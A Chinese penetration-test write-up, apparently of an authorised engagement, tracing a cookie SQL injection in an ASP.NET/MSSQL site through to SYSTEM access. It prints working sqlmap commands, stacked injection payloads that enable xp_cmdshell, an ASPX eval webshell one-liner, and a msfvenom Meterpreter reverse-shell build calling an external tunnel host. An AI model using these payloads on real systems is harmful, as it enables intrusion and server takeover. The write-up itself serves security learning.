前言
最近刚好闲来无事,打开微信接到要一个对网站进行渗透测试的消息,对方发来网站后,马不停蹄的开始。(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为)
信息收集
打开网站,一股简陋破败风引面而来,随即注册一个账号,以便后面的登录
利用wappalyzer浏览器插件,获取到的信息,对于我这个菜鸡而言,并没有看到可以有用的东西
得到waf为OWASP CRS
使用nmap扫描,nmap -O -v -Pn 61.157.xx.xx
开放的端口少之又少,基本没啥可利用的。又结合web服务器是iis,再根据nmap猜测的操作系统,确定操作系统为win server 2012
再用nmap自带的漏洞利用脚本,nmap –script=vuln 61.157.xx.xx
主机安全做的很好,数据库禁止外连,让我无从下手,只有换一条路
直接上御剑后,看到admin字符,让我心中小喜,果断打开
尝试弱口令登陆
神奇的一幕出现了,竟然验证码有误?
后来不管我怎么输入,都只会出现一个提示”验证码有误!”,看来对方的设计是大家来一个同归于尽,这条路只好放弃了
漏洞挖掘
登陆进去后,发现有上传头像的地方,果断试试能不能上传马
尝试content-type能否绕过
看来对方是要校验后缀名,而且还是白名单的形式,看是否有iis解析漏洞,期间我搜了许多都没有找到iis8.5漏洞文章
上传一次正常图片后,虽然给出图片路径,但文件名是根据时间戳命名的图片,并且统一后缀名为png,这种看到就换条路吧
看到重置登陆密码,我就猜想这个框是否存在sql注入呢
难道就这样放弃了吗,我停下手中的键盘想了想。无论我怎么修改密码字符,都提示密码错误,那么肯定是将cookie中(shouji)参数代入sql语句,然后在将密码参数代入,看两个参数是否同时匹配数据库。也就是说shouji参数也可能存在sql注入
这都不拦截?形同虚设的waf
直接上sqlmap,以前从来没有碰到过注入点在cookie里面的,所以sqlmap命令格式就卡了我一天。顺便总结一下如果注入点在cookie,并且网站需要登录的命令。
带上–cookie参数,作用是让sqlmap能登陆进网站,重点来了,必须使用–level 2 后面的数字必须是>=2,它才会检测cookie是否存在注入点
参考命令如下
python sqlmap.py -u "http://xxxx/tedb/user_repwd.aspx" --level 2 --cookie="member=id=45230&shouji=123456" -p member --random-agent
添加–os-shell参数,看能否直接得到shell
报错信息意思是不支持堆叠注入,这里有疑惑点后面讲
获取banner信息为Microsoft SQL Server 2008,操作系统win server 2012 or 2008,根据前面的信息 100%确定操作系统为win server 2012
获取数据库
获取msdb数据库中的表,出现了这一幕
此时天色已晚,躺在床上的我,整理一下思路。首先能获取到数据库信息,那么肯定存在sql注入的,其次是mssql数据库,是不是还有其他办法得到webshell呢?于是打开手机疯狂百度,学习其他大佬的姿势,找到了可以用xp_cmdshell 来让对方服务器远程执行cmd命令。学到了,明天起来验证,睡觉狗命要紧!!!
利用xp_cmdshell拿到webshell
MSSQL2005及以上版本默认禁用了xp_cmdshell。而如果该扩展存储过程没被删除,就能一句话启用它(不支持多句执行的话,请单独执行每句)
--开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
--关闭
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE
exec master..xp_cmdshell "whoami" --用来执行cmd命令
能远程执行命令,很nice,果断开启
因图片看不清有些标点符号,贴出完整语句
shouji=123456';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--
可以从图片清楚的看到出现了红色和黑色两部分,这说明黑色部分的语句并没有发送过去,只有红色的部分发送过去了,这也是burp很强大的功能。
将 ‘;’ url编码成 %3b,其他发送失败的字符也同理(还记得前面写的不支持堆叠注入吗,原因就在于sqlmap中的payload没有将’;’转换成%3b,所以会出现不支持堆叠注入,自己编写一个sqlmap的tamper脚本即可sqlmap tamper脚本编写)
执行后,是无法得知对方是否成功开启了xp_cmdshell,所以可以用ping命令返回时间,来判断
发送后,大约等了10s左右,得到了响应包,说明开启成功
先查看一下是什么权限吧
竟然无回显,查阅后得知,可以将结果写入表中,然后查看表中的内容即可
drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'whoami' ;
将执行的结果写进D99_CMD表
改变id=1后面的数字即可查看表中对应的行的内容,只能一行一行的查看,这也是非常鸡肋的地方
-- 查看表中的内容
And (select Top 1 char(124) data char(124) From (select Top 1 [ID],[Data] From D99_CMD where id=1 Order by [ID]) T Order by [ID] desc)>0
-- 获取表有多少行
And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0
注意这里的system权限,是对方cmd.exe拥有的system权限,即本地cmd执行whoami,返回的内容
查看对方有哪些盘
for %i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @if exist %i: echo %i:
执行命令后,查看表中的内容,如果出现”此时不应有 i。”,将payload进行url编码,重新发送后即可
获取到对方有c,d盘
接下来,就要获取网站的物理路径
#在c盘下查找user_repwd.aspx文件的物理路径 注意文件名后面一定要有'*'号
for /r c:\ %i in (user_repwd*.aspx) do @echo %i
当我查看表中的内容时,无任何回显于是,在d盘下搜索,得到
其实在我最开始的时候,我没有先执行获取对方有哪些盘符的命令,而是先执行c盘下获取文件路径命令。当输出表结果是无任何回显时,我是非常懵逼的,我一度怀疑命令是不是执行失败,而没有第一次时间考虑到对方有多个盘符,导致我在这里浪费了几个小时。。
#将一句话木马写入文件
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:\wwwroot\sjk\tedb\shell.aspx
使用蚁剑成功连接上webshell
执行whoami后发现是iis apppool\xxx
发现拥有的权限有,可遍历文件夹包括c盘,文件读写,当前文件夹下不能上传文件
很幸运的是,我发现在其他文件夹下能成功上传文件,接下来提权
提权
这里我用花生壳来建立tcp隧道
打开kali,查看ip地址
点击花生壳最右下角的’+’号,创建场景,应用名称随便填,内网主机填kali的ip地址,内网端口随便填,我这里填8080,保存
生成反弹shell
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=外网域名 LPORT=外网端口 -f exe -o install.exe
以我的为例,生成反弹shell参考命令如下
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=l347x45481.qicp.vip LPORT=57945 -f exe -o install.exe
生成的木马将会在当前目录下
将kali中的install.exe拖到windows中后,成功上传
回到kali中,依次输入以下命令
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.46.129 //内网主机ip
set lport 8080 //内网端口
run
成功开启监听
接下来就是运行木马了,这里要注意的是,什么样的权限,无论运行什么程序它赋予的权限也是一样的。如果我直接在蚁剑中执行马子,那么此马子的权限还是iis,而前面通过xp_cmdshell得知权限为system,所以还是要用xp_cmdshell来执行马子
session成功建立,如果不成功,有可能是防火墙,杀软在捣乱,谁叫我人品好呢。要是对方安装个杀软,我还要搞免杀,也不至于这么顺利
提权成功
剩下的就是后渗透阶段了,永久后门植入,权限维持,域渗透等等。由于本人水平有限,文中难免有错误或遗漏之处,还请谅解,最后感谢你的阅读!
后记
马子上线的第二天就被对方发现了,这么明显的马名,不被发现也难,错误示范,大家别学我啊(#-.-)